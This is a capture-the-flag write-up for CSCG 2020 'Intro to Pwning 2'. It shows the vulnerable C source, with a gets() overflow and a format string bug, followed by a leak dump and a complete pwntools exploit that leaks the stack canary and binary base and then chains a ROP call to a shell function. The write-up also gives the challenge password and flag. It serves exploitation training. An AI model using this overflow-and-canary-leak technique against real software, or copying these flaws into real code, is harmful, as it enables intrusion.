CSCG 2020: Intro to Pwning 2


intro_pwn.zip is given.

The writeup for part 1 can be found here. First we take a look at the source code.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>

#ifndef PASSWORD
    #define PASSWORD "CSCG{FLAG_FROM_STAGE_1}"
#endif

// pwn2: gcc pwn2.c -o pwn2

// --------------------------------------------------- SETUP

void ignore_me_init_buffering() {
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

void kill_on_timeout(int sig) {
  if (sig == SIGALRM) {
  	printf("[!] Anti DoS Signal. Patch me out for testing.");
    _exit(0);
  }
}

void ignore_me_init_signal() {
	signal(SIGALRM, kill_on_timeout);
	alarm(60);
}

// just a safe alternative to gets()
size_t read_input(int fd, char *buf, size_t size) {
  size_t i;
  for (i = 0; i < size-1; ++i) {
    char c;
    if (read(fd, &c, 1) <= 0) {
      _exit(0);
    }
    if (c == '\n') {
      break;
    }
    buf[i] = c;
  }
  buf[i] = '\0';
  return i;
}

// --------------------------------------------------- MENU

void WINgardium_leviosa() {
    printf("┌───────────────────────┐\n");
    printf("│ You are a Slytherin.. │\n");
    printf("└───────────────────────┘\n");
    system("/bin/sh");
}

void check_password_stage1() {
    char read_buf[0xff];
    printf("Enter the password of stage 1:\n");
    memset(read_buf, 0, sizeof(read_buf));
    read_input(0, read_buf, sizeof(read_buf));
    if(strcmp(read_buf, PASSWORD) != 0) {
        printf("-10 Points for Ravenclaw!\n");
        _exit(0);
    } else {
        printf("+10 Points for Ravenclaw!\n");
    }
}

void welcome() {
    char read_buf[0xff];
    printf("Enter your witch name:\n");
    gets(read_buf);
    printf("┌───────────────────────┐\n");
    printf("│ You are a Ravenclaw!  │\n");
    printf("└───────────────────────┘\n");
    printf(read_buf);
}


void AAAAAAAA() {
    char read_buf[0xff];
    printf(" enter your magic spell:\n");
    gets(read_buf);
    if(strcmp(read_buf, "Expelliarmus") == 0) {
        printf("~ Protego!\n");
    } else {
        printf("-10 Points for Ravenclaw!\n");
        _exit(0);
    }
}
// --------------------------------------------------- MAIN

void main(int argc, char* argv[]) {
	  ignore_me_init_buffering();
	  ignore_me_init_signal();

    check_password_stage1();

    welcome();
    AAAAAAAA();
}

The code is almost the same as in the first challenge. A function to check the password is added. This time we have a canary.

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

To avoid that the stack smashing is detected, the canary must be overwritten with the original value. The value can be leaked using the format string vulnerability. In gef the canary can be found using the canary command

[+] Found AT_RANDOM at 0x7ffcf304a3a9, reading 8 bytes
[+] The canary of process 110627 is 0x6c18444dd992ad00

We are adjusting the format string payload to get more leaks.

[*] leaked: [b'\xe2\x94\x8c\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x90\n\xe2\x94\x82 You are a Ravenclaw!  \xe2\x94\x82\n\xe2\x94\x94\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x98\n0x7f9b8171c723', b'(nil)', b'0x7f9b81642317', b'0x4c', b'(nil)', b'0x70252e70252e7025', b'0x252e70252e70252e', b'0x2e70252e70252e70', b'0x70252e70252e7025', b'0x252e70252e70252e', b'0x2e70252e70252e70', b'0x70252e70252e7025', b'0x252e70252e70252e', b'0x2e70252e70252e70', b'0x70252e70252e7025', b'0x252e70252e70252e', b'0x2e70252e70252e70', b'0x70252e70252e7025', b'0x252e70252e70252e', b'0x2e70252e70252e70', b'0x2e7025', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'(nil)', b'0x6c00000000000000', b'(nil)', b'0x6c18444dd992ad00', b'0x7ffcf3049fa0', b'0x561e6f617dc5', b' enter your magic spell:\n']
        

The canary is two addresses before the saved instruction pointer on the stack. If we overwrite the canary with the original value we can call the win function.

#!/usr/bin/python3

from pwn import *
context.arch = 'amd64'
context.bits = 64

chal = './pwn2'
p = remote('hax1.allesctf.net',9101)
e = ELF(chal)

# pwd of challenge
#pw = "CSCG{THIS_IS_TEST_FLAG}" # local
pw = "CSCG{NOW_PRACTICE_MORE}" # remote
p.sendlineafter('Enter the password of stage 1:', pw)

# leak binary with name
p.sendlineafter('Enter your witch name:\n',  '%p.'*41)
leak = p.recvuntil('enter your magic spell:\n').split(b'.')
leak_binary = int(leak[-2], 16)
leak_canary = int(leak[-4], 16)

#log.info('leaked: %s' % leak)
log.info('leaked binary: %s' % hex(leak_binary))
log.info('leaked canary: %s' % hex(leak_canary))

# calculate binary address
binary_base = leak_binary - 0xdc5
log.info('binary base: %s' % hex(binary_base))

# update binary address
e.address = binary_base

# build rop chain
rop = ROP(e)
rop.raw(rop.find_gadget(['ret'])) # align stack
rop.raw(p64(e.symbols['WINgardium_leviosa']))
log.info(rop.dump())

exp = b'Expelliarmus\x00'
p.sendline(exp + b'A'*(256-len(exp)) + b'deadbeef' + p64(leak_canary) + b'deadbeef' + rop.chain())

p.interactive()

This gives us a shell and the flag CSCG{NOW_GET_VOLDEMORT}.

The writeup for part 3 can be found here.